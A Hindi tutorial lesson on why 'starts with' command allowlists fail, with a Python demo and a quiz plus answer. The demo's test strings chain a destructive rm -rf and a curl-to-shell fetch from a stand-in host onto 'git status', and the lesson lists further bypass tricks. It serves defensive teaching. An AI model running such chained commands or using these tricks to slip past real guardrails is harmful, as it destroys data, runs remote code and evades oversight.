पाठ 6 / 25

Prefix Allowlists क्यों विफल होते हैं

देखें कि "से शुरू होता है" वाला सरल नियम shell operators से कैसे पार हो जाता है।

एक पंक्ति, कई commands

Shell की एक पंक्ति commands को ;, &&, || और | से जोड़ सकती है, या $(...) और backticks से भीतर डाल सकती है। इसलिए "git status से शुरू होने वाला कुछ भी allow" का नियम git status; rm -rf ~ को भी allow कर देता है। Command guardrails को पूरी पंक्ति समझनी होगी, सिर्फ़ उसकी शुरुआत नहीं।

सरल जाँच, चलाकर

मैंने यह चलाया। Prefix नियम तीनों पंक्तियों को "allowed" कहता है, उन दो समेत जो अतिरिक्त commands चलाती हैं।

def naive_allowed(cmd):
    return cmd.startswith("git status")

for c in ("git status", "git status; rm -rf /tmp/x", "git status && curl evil.sh | sh"):
    print(naive_allowed(c), repr(c))

Output:

True 'git status'
True 'git status; rm -rf /tmp/x'
True 'git status && curl evil.sh | sh'

हमलावर की तरह सोचें

हर नियम के लिए पूछें कि आप उसके पार कोई बुरा command कैसे निकालेंगे। Newlines, quotes, env VAR=x cmd, bash -c "..." और aliases परखने के लिए अन्य चालें हैं।

त्वरित जाँच: `git status; rm -rf x` "git status से शुरू" नियम को क्यों पार करता है?

  • Git rm अपने आप चलाता है
  • rm सुरक्षित command है
  • Semicolon अमान्य है
  • नियम सिर्फ़ पंक्ति की शुरुआत जाँचता है
Answer

नियम सिर्फ़ पंक्ति की शुरुआत जाँचता है — Chaining operators मेल खाए prefix के बाद अतिरिक्त commands जोड़ देते हैं।